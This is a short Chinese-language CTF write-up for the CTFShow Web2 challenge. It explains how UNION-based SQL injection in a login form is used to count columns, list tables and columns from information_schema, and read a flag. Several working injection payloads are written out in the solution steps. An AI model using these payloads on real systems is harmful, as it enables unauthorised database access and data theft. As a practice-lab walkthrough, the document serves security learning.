一、题目介绍
CTFShow Web2 是一道 SQL 注入相关的题目,考察选手对 SQL 注入(特别是 UNION SELECT
语句)的掌握程度。解题的关键在于通过 SQL 注入获取数据库结构,并最终提取 flag。
二、题目分析
打开靶场发现只有一个登录框想到可能登录框内存在sql注入于是我们进行尝试,目标是利用 UNION SELECT
语句枚举数据库中的表、列,并获取存储的 flag。
三、解题过程(包括关键点、工具、代码等)
1.先判断有可查询的字段数
我们首先需要确定查询语句的字段数量,以确保 UNION SELECT
语句能够正确执行。在用户名输入框中尝试输入以下语句:
' or 1=1 order by 3#
' or 1=1 order by 4#
发现 ORDER BY 3
正常,而 ORDER BY 4
时报错,说明查询的字段数为 3。
2.获取数据库表名
确认字段数后,我们利用 UNION SELECT
语句查询当前数据库下的所有表名:
' OR 1=1 UNION SELECT 1, GROUP_CONCAT(table_name), 3 FROM information_schema.tables WHERE table_schema=database()#
后发现当前数据库下有两个表:flag
和 user
。
3. 获取 flag
表的列名
接着,我们对 flag
表进行注入,查询其列名:
' OR 1=1 UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag'#
查询结果显示 flag
表下的列名也是 flag
。
4. 读取 flag
表中的数据
现在我们可以直接查询 flag
表中的内容,获取 flag:
' OR 1=1 UNION SELECT 1, flag, 3 FROM flag#
成功获取 flag。
四、题目总结
总的来说该题是一个简单的sql注入类型题目,主要考察 UNION SELECT
结合 information_schema
进行数据库信息枚举的能力。掌握这类 SQL 注入方法,在 CTF 和实际渗透测试中都非常有用。